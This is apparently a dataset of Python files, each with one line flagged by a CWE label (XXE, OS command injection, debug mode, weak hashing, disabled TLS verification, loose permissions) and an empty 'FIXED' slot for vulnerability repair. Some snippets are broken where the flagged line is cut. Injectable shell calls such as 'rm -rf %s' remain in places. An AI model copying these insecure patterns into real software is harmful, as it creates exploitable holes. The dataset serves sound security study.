available on Windows\n except ImportError:\n if test_support.verbose:\n print \"skipping tty\"\n\n # Can't test the \"user\" module -- if the user has a ~/.pythonrc.py, it\n # can screw up all sorts of things (esp. if it prints!).\n #import user\n import webbrowser\n \n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml\n# FIXED: \n\n \n\n\n\ndef test_main():\n test_support.run_unittest(TestUntestedModules)\n\nif __name__ == \"__main__\":\n test_main()\n"} {"language": "python", "text": "from flask import Flask, request, jsonify\nimport requests\n\napp = Flask(__name__)\n\ncreate_so_url = \"http://order-svc:3001/createSo\"\nupdate_inventory_url = \"http://product-svc:3002/allocateInventory\"\n\n@app.route('/v1/order/create', methods=['POST'])\ndef create_1():\n return create_so(rollback=False)\n \n@app.route('/v1/order/create2', methods=['POST'])\ndef create_2():\n return create_so(rollback=True)\n\ndef create_so(rollback=True):\n xid = request.headers.get(\"x-dbpack-xid\")\n\n so_items = [dict(\n product_sysno=1,\n product_name=\"apple iphone 13\",\n original_price=6799,\n cost_price=6799,\n deal_price=6799,\n quantity=2,\n )]\n\n so_master = [dict(\n buyer_user_sysno = 10001,\n seller_company_code = \"SC001\",\n receive_division_sysno = 110105,\n receive_address = \"beijing\",\n receive_zip = \"000001\",\n receive_contact = \"scott\",\n receive_contact_phone = \"18728828296\",\n stock_sysno = 1,\n payment_type = 1,\n so_amt = 6999 * 2,\n status = 10,\n appid = \"dk-order\",\n so_items = so_items,\n )]\n\n success = (jsonify(dict(success=True, message=\"success\")), 200)\n failed = (jsonify(dict(success=False, message=\"failed\")), 400)\n headers = {\n \"Content-Type\": \"application/json\",\n \"xid\": xid\n }\n\n so_req = dict(req=so_master)\n resp1 = requests.post(create_so_url, headers=headers, json=so_req)\n if resp1.status_code == 400:\n return failed\n\n ivt_req = dict(req=[dict(product_sysno= 1, qty=2)])\n \n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# resp2 = requests.post(update_inventory_url, headers=headers, json=ivt_req)\n# FIXED: \n\n \n\n if resp2.status_code == 400:\n return failed\n\n if rollback:\n print(\"rollback\")\n return failed\n\n return success\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=3000)\n"} {"language": "python", "text": "#!/usr/bin/env python3\n\n\"\"\"Example Twilio SMS chatbot for RiveScript.\n\nSee the accompanying README.md for instructions.\"\"\"\n\n# Manipulate sys.path to be able to import rivescript from this git repo.\n# Otherwise you'd have to `pip install rivescript`\nimport os\nimport sys\nsys.path.append(os.path.join(os.path.dirname(__file__), \"..\", \"..\"))\n\nfrom flask import Flask, request, redirect\nfrom rivescript import RiveScript\nimport twilio.twiml\n\n# Set up the RiveScript bot. This loads the replies from \"../brain\", or,\n# the \"brain\" folder in the \"eg\" folder of this git repository.\nbot = RiveScript()\nbot.load_directory(\n os.path.join(os.path.dirname(__file__), \"..\", \"brain\")\n)\nbot.sort_replies()\n\napp = Flask(__name__)\n\n@app.route(\"/twilio\", methods=[\"GET\", \"POST\"])\ndef hello_rivescript():\n \"\"\"Receive an inbound SMS and send a reply from RiveScript.\"\"\"\n\n from_number = request.values.get(\"From\", \"unknown\")\n message = request.values.get(\"Body\")\n reply = \"(Internal error)\"\n\n # Get a reply from RiveScript.\n if message:\n reply = bot.reply(from_number, message)\n\n # Send the response.\n resp = twilio.twiml.Response()\n resp.message(reply)\n return str(resp)\n\nif __name__ == \"__main__\":\n \n# BUG: CWE-668: Exposure of Resource to Wrong Sphere\n# app.run(host='0.0.0.0', debug=True)\n# FIXED: \n\n \n\n"} {"language": "python", "text": "#!/usr/bin/env python3\n'''\n\ua9b1\ua9ae is an open source programming language, an interpreter to be precise, where you can write Python code using Javanese character.\nhttps://github.com/lantip/sawa/docs/\nLicensed under ABRMS License\nCopyright (c) 2021 \ua9b1\ua9ae \n'''\nimport sys\nimport os\nimport argparse\nimport sawa.main as mn\nfrom subprocess import call\n\ndef error(_error, message):\n \"\"\" Print errors to stdout\n \"\"\"\n print(\"[-] {}: {}\".format(_error, message))\n sys.exit(0)\n\ndef main():\n parser = argparse.ArgumentParser(description='\ua992\ua9a9\ua9c0\ua9a7\ua982\ua9a5\ua9b3\ua9b6\ua9a7\ua9ba\ua9b4\ua9a4\ua995\ua9b6')\n parser.add_argument('name', type=str, help='filename with extension .\ua9b1\ua9ae')\n args = parser.parse_args()\n\n if not '\ua9b1\ua9ae' in args.name:\n error(\"Error\",\n \"Please use \ua9b1\ua9ae as extension.\")\n file_name = args.name.split('.')\n if os.path.isfile(file_name[0]+'.py'):\n os.remove(file_name[0]+'.py') \n mn.main(args.name)\n \n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# call('python3 %s.py' % (file_name[0]), shell=True)\n# FIXED: \n\n \n\n os.remove(file_name[0]+'.py')\n\ndef versionCompare(v1, v2):\n arr1 = v1.split(\".\")\n arr2 = v2.split(\".\")\n n = len(arr1)\n m = len(arr2)\n arr1 = [int(i) for i in arr1]\n arr2 = [int(i) for i in arr2]\n \n if n>m:\n for i in range(m, n):\n arr2.append(0)\n elif m>n:\n for i in range(n, m):\n arr1.append(0)\n \n for i in range(len(arr1)):\n if arr1[i]>arr2[i]:\n return 1\n elif arr2[i]>arr1[i]:\n return -1\n return 0\n\ndef run_as_command():\n version = \".\".join(str(v) for v in sys.version_info[:2])\n ans = versionCompare('3.6', version)\n if ans > 0:\n print(\"[-] \ua9b1\ua9ae mbutuhak\u00e9 Python v\u00e8rsi 3.6 munggah.\")\n sys.exit(0)\n\n main()\n\n\nif __name__ == '__main__':\n main()\n"} {"language": "python", "text": "\"\"\"\n* *******************************************************\n* Copyright (c) VMware, Inc. 2013, 2016. All Rights Reserved.\n* SPDX-License-Identifier: MIT\n* *******************************************************\n*\n* DISCLAIMER. THIS PROGRAM IS PROVIDED TO YOU \"AS IS\" WITHOUT\n* WARRANTIES OR CONDITIONS OF ANY KIND, WHETHER ORAL OR WRITTEN,\n* EXPRESS OR IMPLIED. THE AUTHOR SPECIFICALLY DISCLAIMS ANY IMPLIED\n* WARRANTIES OR CONDITIONS OF MERCHANTABILITY, SATISFACTORY QUALITY,\n* NON-INFRINGEMENT AND FITNESS FOR A PARTICULAR PURPOSE.\n\"\"\"\n\n__author__ = 'VMware, Inc.'\n\nimport ssl\nimport requests\n\n\ndef get_unverified_context():\n \"\"\"\n Get an unverified ssl context. Used to disable the server certificate\n verification.\n @return: unverified ssl context.\n \"\"\"\n context = None\n if hasattr(ssl, '_create_unverified_context'):\n \n# BUG: CWE-295: Improper Certificate Validation\n# context = ssl._create_unverified_context()\n# FIXED: \n\n \n\n return context\n\n\ndef get_unverified_session():\n \"\"\"\n Get a requests session with cert verification disabled.\n Also disable the insecure warnings message.\n Note this is not recommended in production code.\n @return: a requests session with verification disabled.\n \"\"\"\n session = requests.session()\n session.verify = False\n requests.packages.urllib3.disable_warnings()\n return session\n"} {"language": "python", "text": "\"\"\"\nA provided CSRF implementation which puts CSRF data in a session.\n\nThis can be used fairly comfortably with many `request.session` type\nobjects, including the Werkzeug/Flask session store, Django sessions, and\npotentially other similar objects which use a dict-like API for storing\nsession keys.\n\nThe basic concept is a randomly generated value is stored in the user's\nsession, and an hmac-sha1 of it (along with an optional expiration time,\nfor extra security) is used as the value of the csrf_token. If this token\nvalidates with the hmac of the random value + expiration time, and the\nexpiration time is not passed, the CSRF validation will pass.\n\"\"\"\nfrom __future__ import unicode_literals\n\nimport hmac\nimport os\n\nfrom hashlib import sha1\nfrom datetime import datetime, timedelta\n\nfrom ...validators import ValidationError\nfrom .form import SecureForm\n\n__all__ = ('SessionSecureForm', )\n\n\nclass SessionSecureForm(SecureForm):\n TIME_FORMAT = '%Y%m%d%H%M%S'\n TIME_LIMIT = timedelta(minutes=30)\n SECRET_KEY = None\n\n def generate_csrf_token(self, csrf_context):\n if self.SECRET_KEY is None:\n raise Exception('must set SECRET_KEY in a subclass of this form for it to work')\n if csrf_context is None:\n raise TypeError('Must provide a session-like object as csrf context')\n\n session = getattr(csrf_context, 'session', csrf_context)\n\n if 'csrf' not in session:\n \n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# session['csrf'] = sha1(os.urandom(64)).hexdigest()\n# FIXED: \n\n \n\n\n self.csrf_token.csrf_key = session['csrf']\n if self.TIME_LIMIT:\n expires = (datetime.now() + self.TIME_LIMIT).strftime(self.TIME_FORMAT)\n csrf_build = '%s%s' % (session['csrf'], expires)\n else:\n expires = ''\n csrf_build = session['csrf']\n\n hmac_csrf = hmac.new(self.SECRET_KEY, csrf_build.encode('utf8'), digestmod=sha1)\n return '%s##%s' % (expires, hmac_csrf.hexdigest())\n\n def validate_csrf_token(self, field):\n if not field.data or '##' not in field.data:\n raise ValidationError(field.gettext('CSRF token missing'))\n\n expires, hmac_csrf = field.data.split('##')\n\n check_val = (field.csrf_key + expires).encode('utf8')\n\n hmac_compare = hmac.new(self.SECRET_KEY, check_val, digestmod=sha1)\n if hmac_compare.hexdigest() != hmac_csrf:\n raise ValidationError(field.gettext('CSRF failed'))\n\n if self.TIME_LIMIT:\n now_formatted = datetime.now().strftime(self.TIME_FORMAT)\n if now_formatted > expires:\n raise ValidationError(field.gettext('CSRF token expired'))\n"} {"language": "python", "text": "from collections import namedtuple\nimport glob\nimport os\nimport sys\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.etree.ElementTree as ET\n# FIXED: \n\n \n\n\nfrom stanza.models.classifiers.data import SentimentDatum\nimport stanza.utils.datasets.sentiment.process_utils as process_utils\n\nArguanaSentimentDatum = namedtuple('ArguanaSentimentDatum', ['begin', 'end', 'rating'])\n\n\"\"\"\nExtracts positive, neutral, and negative phrases from the ArguAna hotel review corpus\n\nRun as follows:\n\npython3 parse_arguana_xml.py split/training data/sentiment\n\nArguAna can be downloaded here:\n\nhttp://argumentation.bplaced.net/arguana/data\nhttp://argumentation.bplaced.net/arguana-data/arguana-tripadvisor-annotated-v2.zip\n\"\"\"\n\ndef get_phrases(filename):\n tree = ET.parse(filename)\n fragments = []\n\n root = tree.getroot()\n body = None\n for child in root:\n if child.tag == '{http:///uima/cas.ecore}Sofa':\n body = child.attrib['sofaString']\n elif child.tag == '{http:///de/aitools/ie/uima/type/arguana.ecore}Fact':\n fragments.append(ArguanaSentimentDatum(begin=int(child.attrib['begin']),\n end=int(child.attrib['end']),\n rating=\"1\"))\n elif child.tag == '{http:///de/aitools/ie/uima/type/arguana.ecore}Opinion':\n if child.attrib['polarity'] == 'negative':\n rating = \"0\"\n elif child.attrib['polarity'] == 'positive':\n rating = \"2\"\n else:\n raise ValueError(\"Unexpected polarity found in {}\".format(filename))\n fragments.append(ArguanaSentimentDatum(begin=int(child.attrib['begin']),\n end=int(child.attrib['end']),\n rating=rating))\n\n\n phrases = [SentimentDatum(fragment.rating, body[fragment.begin:fragment.end]) for fragment in fragments]\n #phrases = [phrase.replace(\"\\n\", \" \") for phrase in phrases]\n return phrases\n\ndef get_phrases_from_directory(directory):\n phrases = []\n inpath = os.path.join(directory, \"arguana-tripadvisor-annotated-v2\", \"split\", \"training\", \"*\", \"*xmi\")\n for filename in glob.glob(inpath):\n phrases.extend(get_phrases(filename))\n return phrases\n\ndef get_tokenized_phrases(in_directory):\n phrases = get_phrases_from_directory(in_directory)\n phrases = process_utils.get_ptb_tokenized_phrases(phrases)\n print(\"Found {} phrases in arguana\".format(len(phrases)))\n return phrases\n\ndef main(in_directory, out_directory, short_name):\n phrases = get_tokenized_phrases(in_directory)\n process_utils.write_list(os.path.join(out_directory, \"%s.train.json\" % short_name), phrases)\n\n\nif __name__ == \"__main__\":\n in_directory = sys.argv[1]\n out_directory = sys.argv[2]\n short_name = sys.argv[3]\n main(in_directory, out_directory, short_name)\n"} {"language": "python", "text": "import sys\n\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.sax import make_parser, handler\n# FIXED: \n\n \n\n\n# --- Templates\n\ntop = \\\n\"\"\"\n\n\n\n %s\n\n\n\n

    %s

    \n\"\"\"\n\nbottom = \\\n\"\"\"\n\n\n
    \n
    \nConverted to HTML by sax_rss2html.py.\n
    \n\n\n\n\"\"\"\n\n# --- The ContentHandler\n\nclass RSSHandler(handler.ContentHandler):\n\n def __init__(self, out = sys.stdout):\n handler.ContentHandler.__init__(self)\n self._out = out\n\n self._text = \"\"\n self._parent = None\n self._list_started = 0\n self._title = None\n self._link = None\n self._descr = \"\"\n\n # ContentHandler methods\n\n def startElement(self, name, attrs):\n if name == \"channel\" or name == \"image\" or name == \"item\":\n self._parent = name\n\n self._text = \"\"\n\n def endElement(self, name):\n if self._parent == \"channel\":\n if name == \"title\":\n self._out.write(top % (self._text, self._text))\n elif name == \"description\":\n self._out.write(\"

    %s

    \\n\" % self._text)\n\n elif self._parent == \"item\":\n if name == \"title\":\n self._title = self._text\n elif name == \"link\":\n self._link = self._text\n elif name == \"description\":\n self._descr = self._text\n elif name == \"item\":\n if not self._list_started:\n self._out.write(\"
      \\n\")\n self._list_started = 1\n\n self._out.write('
    • %s %s\\n' %\n (self._link, self._title, self._descr))\n\n self._title = None\n self._link = None\n self._descr = \"\"\n\n if name == \"rss\":\n self._out.write(bottom)\n\n def characters(self, content):\n self._text = self._text + content\n\n# --- Main program\n\nparser = make_parser()\nparser.setContentHandler(RSSHandler())\nparser.parse(sys.argv[1])\n"} {"language": "python", "text": "#!/usr/bin/env python\n#\n# See the accompanying LICENSE file.\n#\nimport urllib2\nimport hashlib\nimport re\n\nsqlitevers=(\n '3081101',\n '3081100',\n '3081002',\n '3081001',\n '3081000',\n '3080900',\n '3080803',\n '3080802',\n '3080801',\n '3080800',\n '3080704',\n '3080703',\n '3080702',\n '3080701',\n '3080700',\n '3080600',\n '3080500',\n '3080403',\n '3080402',\n '3080401',\n '3080400',\n '3080301',\n '3080300',\n '3080200',\n '3080100',\n '3080002',\n '3080001',\n '3080000',\n '3071700',\n '3071602',\n '3071601',\n '3071600',\n '3071502',\n '3071501',\n '3071500',\n '3071401',\n '3071400',\n '3071300',\n '3071201',\n '3071200',\n '3071100',\n '3071000',\n '3070900',\n '3070800',\n '3070701',\n '3070700',\n '3070603',\n '3070602',\n '3070601',\n '3070600',\n )\n\n# Checks the checksums file\n\ndef getline(url):\n for line in open(\"checksums\", \"rtU\"):\n line=line.strip()\n if len(line)==0 or line[0]==\"#\":\n continue\n l=[l.strip() for l in line.split()]\n if len(l)!=4:\n print \"Invalid line in checksums file:\", line\n raise ValueError(\"Bad checksums file\")\n if l[0]==url:\n return l[1:]\n return None\n\ndef check(url, data):\n \n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# d=[\"%s\" % (len(data),), hashlib.sha1(data).hexdigest(), hashlib.md5(data).hexdigest()]\n# FIXED: \n\n \n\n line=getline(url)\n if line:\n if line!=d:\n print \"Checksums mismatch for\", url\n print \"checksums file is\", line\n print \"Download is\", d\n else:\n print url,\n if url.endswith(\".zip\"):\n print \" \",\n print d[0], d[1], d[2]\n\n# They keep messing with where files are in URI - this code is also in setup.py\ndef fixup_download_url(url):\n ver=re.search(\"3[0-9]{6}\", url)\n if ver:\n ver=int(ver.group(0))\n if ver>=3071600:\n if ver>=3080800:\n year=\"2015\"\n elif ver>=3080300:\n year=\"2014\"\n else:\n year=\"2013\"\n if \"/\"+year+\"/\" not in url:\n url=url.split(\"/\")\n url.insert(3, year)\n return \"/\".join(url)\n return url\n\nfor v in sqlitevers:\n # Windows amalgamation\n AURL=\"https://sqlite.org/sqlite-amalgamation-%s.zip\" % (v,)\n AURL=fixup_download_url(AURL)\n try:\n data=urllib2.urlopen(AURL).read()\n except:\n print AURL\n raise\n check(AURL, data)\n # All other platforms amalgamation\n AURL=\"https://sqlite.org/sqlite-autoconf-%s.tar.gz\" % (v,)\n AURL=fixup_download_url(AURL)\n try:\n data=urllib2.urlopen(AURL).read()\n except:\n print AURL\n raise\n check(AURL, data)\n"} {"language": "python", "text": "from flask import Flask\n\napp = Flask(__name__) #! This is the syntax for making a Flask object\n\n\n@app.route('/') # ? This decorator specify the loction of the below function : www.yourdomain.com/\n@app.route('/home')\ndef hello():\n return \"Hello World\"\n\n# TODO: I have to understand what this is\nif __name__ == '__main__':\n \n# BUG: CWE-489: Active Debug Code\n# app.run(debug=True)\n# FIXED: \n\n \n\n\n\n"} {"language": "python", "text": "# -*- coding: utf-8 -*-\n\n\"\"\"Run Bio2BEL with WSGI.\"\"\"\n\nfrom bio2bel.web.application import create_application\n\nif __name__ == '__main__':\n app = create_application()\n \n# BUG: CWE-668: Exposure of Resource to Wrong Sphere\n# app.run(host='0.0.0.0', port=5000, debug=True) # noqa:S104\n# FIXED: \n\n \n\n"} {"language": "python", "text": "import requests\nfrom subprocess import check_output\n\n\ndef get_score(command: str) -> float:\n \"\"\"Get pylint score\"\"\"\n\n \n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# output = check_output(command, shell=True).decode(\"utf-8\")\n# FIXED: \n\n \n\n start = output.find(\"Your code has been rated at \")\n if start == -1:\n raise ValueError(f'Could not find quality score in \"{output.rstrip()}\".')\n\n start += len(\"Your code has been rated at \")\n end = start + output[start:].find(\"/\")\n score = float(output[start:end])\n\n return score\n\n\ndef get_color(score: float) -> str:\n \"\"\"Get color for shield\"\"\"\n\n if score < 6:\n return \"critical\"\n\n elif score < 8:\n return \"orange\"\n\n elif score < 9:\n return \"yellow\"\n\n elif score < 9.5:\n return \"yellowgreen\"\n\n else:\n return \"brightgreen\"\n\n\ndef create_link(label: str, score: float) -> str:\n \"\"\"Create link using shields.io\"\"\"\n\n label = label.replace(\" \", \"_\")\n color = get_color(score)\n return f\"https://img.shields.io/badge/{label}-{score}-{color}\"\n\n\ndef write_quality_badge(command: str, output_file: str) -> None:\n \"\"\"Write badge for code quality\"\"\"\n\n score = get_score(\"make lint\")\n link = create_link(\"code quality\", score)\n\n with open(output_file, \"wb\") as output:\n data = requests.get(link).content\n output.write(data)\n\n\ndef write_version_badge(output_file: str) -> None:\n \"\"\"Write badge for version badge\"\"\"\n\n from pytermgui import __version__ as version\n\n link = f\"https://img.shields.io/badge/pypi_package-{version}-bright_green\"\n\n with open(output_file, \"wb\") as output:\n data = requests.get(link).content\n output.write(data)\n\n\ndef main() -> None:\n \"\"\"Main method\"\"\"\n\n write_quality_badge(\"make lint\", \"assets/badges/quality.svg\")\n write_version_badge(\"assets/badges/version.svg\")\n\n\nif __name__ == \"__main__\":\n main()\n"} {"language": "python", "text": "\n# Copyright (c) 2001-2004 Twisted Matrix Laboratories.\n# See LICENSE for details.\n\n\n\"\"\"\n\nUtility functions for authorization.\n\nThese are currently for challenge-response shared secret authentication.\n\nMaintainer: U{Glyph Lefkowitz}\n\nStability: semi-stable\n\n\"\"\"\n\n# System Imports\nfrom hashlib import md5\nimport random\n\nfrom twisted.cred.error import Unauthorized\n\ndef respond(challenge, password):\n \"\"\"Respond to a challenge.\n This is useful for challenge/response authentication.\n \"\"\"\n \n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# m = md5()\n# FIXED: \n\n \n\n m.update(password)\n hashedPassword = m.digest()\n m = md5()\n m.update(hashedPassword)\n m.update(challenge)\n doubleHashedPassword = m.digest()\n return doubleHashedPassword\n\ndef challenge():\n \"\"\"I return some random data.\n \"\"\"\n crap = ''\n for x in range(random.randrange(15,25)):\n crap = crap + chr(random.randint(65,90))\n crap = md5(crap).digest()\n return crap\n"} {"language": "python", "text": "# let's import the flask\nfrom flask import Flask, render_template, request, redirect, url_for\nimport os # importing operating system module\n\napp = Flask(__name__)\n# to stop caching static file\napp.config['SEND_FILE_MAX_AGE_DEFAULT'] = 0\n\n\n\n@app.route('/') # this decorator create the home route\ndef home ():\n techs = ['HTML', 'CSS', 'Flask', 'Python']\n name = '30 Days Of Python Programming'\n return render_template('home.html', techs=techs, name = name, title = 'Home')\n\n@app.route('/about')\ndef about():\n name = '30 Days Of Python Programming'\n return render_template('about.html', name = name, title = 'About Us')\n\n@app.route('/result')\ndef result():\n return render_template('result.html')\n\n@app.route('/post', methods= ['GET','POST'])\ndef post():\n name = 'Text Analyzer'\n if request.method == 'GET':\n return render_template('post.html', name = name, title = name)\n if request.method =='POST':\n content = request.form['content']\n return redirect(url_for('result'))\n \nif __name__ == '__main__':\n # for deployment\n # to make it work for both production and development\n port = int(os.environ.get(\"PORT\", 5000))\n \n# BUG: CWE-489: Active Debug Code\n# app.run(debug=True, host='0.0.0.0', port=port)\n# FIXED: \n\n \n"} {"language": "python", "text": "import unittest\nimport vdebug.dbgp\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.etree.ElementTree as ET\n# FIXED: \n\n \n\n\nclass EvalPropertyTest(unittest.TestCase):\n def __get_eval_property(self,xml_string,code,lang):\n xml = ET.fromstring(xml_string)\n firstnode = xml[0]\n return vdebug.dbgp.EvalProperty(firstnode,code,lang)\n\n def test_numeric_keys(self):\n prop = self.__get_eval_property(\\\n \"\"\"\n\n \n \n \n \n\n\"\"\", '$testarr', 'php')\n\n self.assertEqual(prop.display_name,'$testarr')\n self.assertEqual(prop.value,'')\n self.assertEqual(prop.type,'array')\n self.assertEqual(prop.depth,0)\n self.assertTrue(prop.has_children)\n self.assertEqual(prop.child_count(),2)\n\n self.assertEqual(prop.children[0].type,'array')\n self.assertEqual(prop.children[0].display_name,'$testarr[0]')\n\n self.assertEqual(prop.children[1].type,'array')\n self.assertEqual(prop.children[1].display_name,\"$testarr['key']\")\n\n def test_non_unicode_value(self):\n prop = self.__get_eval_property(\\\n \"\"\"\n\n \n\n\"\"\", '$value', 'php')\n\n self.assertEqual(prop.display_name,'$value')\n self.assertEqual(len(prop.value),94)\n self.assertEqual(prop.type,'string')\n"} {"language": "python", "text": "import sqlite3\nimport urllib\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.etree.ElementTree as ET\n# FIXED: \n\n \n\n\nTWITTER_URL = 'http://api.twitter.com/l/statuses/friends/ACCT.xml'\n\nconn = sqlite3.connect('twdata.db')\ncur = conn.cursor()\n\ncur.execute('''\nCREATE TABLE IF NOT EXISTS Twitter (name TEXT, retrieved INTEGER, friends INTEGER)''')\n\nwhile True:\n acct = raw_input('Enter a Twitter account, or quit: ')\n if ( acct == 'quit' ) : break\n if ( len(acct) < 1 ) :\n cur.execute('SELECT name FROM Twitter WHERE retrieved = 0 LIMIT 1')\n try:\n acct = cur.fetchone()[0]\n except:\n print 'No unretrieved Twitter accounts found'\n continue\n\n url = TWITTER_URL.replace('ACCT', acct)\n print 'Retrieving', url\n document = urllib.urlopen (url).read()\n tree = ET.fromstring(document)\n\n cur.execute('UPDATE Twitter SET retrieved=1 WHERE name = ?', (acct, ) )\n\n countnew = 0\n countold = 0\n for user in tree.findall('user'):\n friend = user.find('screen_name').text\n cur.execute('SELECT friends FROM Twitter WHERE name = ? LIMIT 1', \n (friend, ) )\n try:\n count = cur.fetchone()[0]\n cur.execute('UPDATE Twitter SET friends = ? WHERE name = ?', \n (count+1, friend) )\n countold = countold + 1\n except:\n cur.execute('''INSERT INTO Twitter (name, retrieved, friends) \n VALUES ( ?, 0, 1 )''', ( friend, ) )\n countnew = countnew + 1\n print 'New accounts=',countnew,' revisited=',countold\n conn.commit()\n\ncur.close()\n\n"} {"language": "python", "text": "\"\"\"Tests for distutils.spawn.\"\"\"\nimport unittest\nimport os\nimport time\nfrom test.test_support import captured_stdout, run_unittest\n\nfrom distutils.spawn import _nt_quote_args\nfrom distutils.spawn import spawn, find_executable\nfrom distutils.errors import DistutilsExecError\nfrom distutils.tests import support\n\nclass SpawnTestCase(support.TempdirManager,\n support.LoggingSilencer,\n unittest.TestCase):\n\n def test_nt_quote_args(self):\n\n for (args, wanted) in ((['with space', 'nospace'],\n ['\"with space\"', 'nospace']),\n (['nochange', 'nospace'],\n ['nochange', 'nospace'])):\n res = _nt_quote_args(args)\n self.assertEqual(res, wanted)\n\n\n @unittest.skipUnless(os.name in ('nt', 'posix'),\n 'Runs only under posix or nt')\n def test_spawn(self):\n tmpdir = self.mkdtemp()\n\n # creating something executable\n # through the shell that returns 1\n if os.name == 'posix':\n exe = os.path.join(tmpdir, 'foo.sh')\n self.write_file(exe, '#!/bin/sh\\nexit 1')\n \n# BUG: CWE-276: Incorrect Default Permissions\n# os.chmod(exe, 0777)\n# FIXED: \n\n \n\n else:\n exe = os.path.join(tmpdir, 'foo.bat')\n self.write_file(exe, 'exit 1')\n\n os.chmod(exe, 0777)\n self.assertRaises(DistutilsExecError, spawn, [exe])\n\n # now something that works\n if os.name == 'posix':\n exe = os.path.join(tmpdir, 'foo.sh')\n self.write_file(exe, '#!/bin/sh\\nexit 0')\n os.chmod(exe, 0777)\n else:\n exe = os.path.join(tmpdir, 'foo.bat')\n self.write_file(exe, 'exit 0')\n\n os.chmod(exe, 0777)\n spawn([exe]) # should work without any error\n\ndef test_suite():\n return unittest.makeSuite(SpawnTestCase)\n\nif __name__ == \"__main__\":\n run_unittest(test_suite())\n"} {"language": "python", "text": "#! /usr/bin/env python\n\n# Variant of \"which\".\n# On stderr, near and total misses are reported.\n# '-l' argument adds ls -l of each file found.\n\nimport sys\nif sys.path[0] in (\".\", \"\"): del sys.path[0]\n\nimport sys, os\nfrom stat import *\n\ndef msg(str):\n sys.stderr.write(str + '\\n')\n\ndef main():\n pathlist = os.environ['PATH'].split(os.pathsep)\n\n sts = 0\n longlist = ''\n\n if sys.argv[1:] and sys.argv[1][:2] == '-l':\n longlist = sys.argv[1]\n del sys.argv[1]\n\n for prog in sys.argv[1:]:\n ident = ()\n for dir in pathlist:\n filename = os.path.join(dir, prog)\n try:\n st = os.stat(filename)\n except os.error:\n continue\n if not S_ISREG(st[ST_MODE]):\n msg(filename + ': not a disk file')\n else:\n mode = S_IMODE(st[ST_MODE])\n if mode & 0111:\n if not ident:\n print filename\n ident = st[:3]\n else:\n if st[:3] == ident:\n s = 'same as: '\n else:\n s = 'also: '\n msg(s + filename)\n else:\n msg(filename + ': not executable')\n if longlist:\n \n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# sts = os.system('ls ' + longlist + ' ' + filename)\n# FIXED: \n\n \n\n if sts: msg('\"ls -l\" exit status: ' + repr(sts))\n if not ident:\n msg(prog + ': not found')\n sts = 1\n\n sys.exit(sts)\n\nif __name__ == '__main__':\n main()\n"} {"language": "python", "text": "\"\"\"Run the Python regression test using the compiler\n\nThis test runs the standard Python test suite using bytecode generated\nby this compiler instead of by the builtin compiler.\n\nThe regression test is run with the interpreter in verbose mode so\nthat import problems can be observed easily.\n\"\"\"\n\nfrom compiler import compileFile\n\nimport os\nimport sys\nimport test\nimport tempfile\n\ndef copy_test_suite():\n dest = tempfile.mkdtemp()\n os.system(\"cp -r %s/* %s\" % (test.__path__[0], dest))\n print \"Creating copy of test suite in\", dest\n return dest\n\ndef copy_library():\n dest = tempfile.mkdtemp()\n libdir = os.path.split(test.__path__[0])[0]\n print \"Found standard library in\", libdir\n print \"Creating copy of standard library in\", dest\n os.system(\"cp -r %s/* %s\" % (libdir, dest))\n return dest\n\ndef compile_files(dir):\n print \"Compiling\", dir, \"\\n\\t\",\n line_len = 10\n for file in os.listdir(dir):\n base, ext = os.path.splitext(file)\n if ext == '.py':\n source = os.path.join(dir, file)\n line_len = line_len + len(file) + 1\n if line_len > 75:\n print \"\\n\\t\",\n line_len = len(source) + 9\n print file,\n try:\n compileFile(source)\n except SyntaxError, err:\n print err\n continue\n # make sure the .pyc file is not over-written\n \n# BUG: CWE-276: Incorrect Default Permissions\n# os.chmod(source + \"c\", 444)\n# FIXED: \n\n \n\n elif file == 'CVS':\n pass\n else:\n path = os.path.join(dir, file)\n if os.path.isdir(path):\n print\n print\n compile_files(path)\n print \"\\t\",\n line_len = 10\n print\n\ndef run_regrtest(lib_dir):\n test_dir = os.path.join(lib_dir, \"test\")\n os.chdir(test_dir)\n os.system(\"PYTHONPATH=%s %s -v regrtest.py\" % (lib_dir, sys.executable))\n\ndef cleanup(dir):\n os.system(\"rm -rf %s\" % dir)\n\ndef main():\n lib_dir = copy_library()\n compile_files(lib_dir)\n run_regrtest(lib_dir)\n raw_input(\"Cleanup?\")\n cleanup(lib_dir)\n\nif __name__ == \"__main__\":\n main()\n"}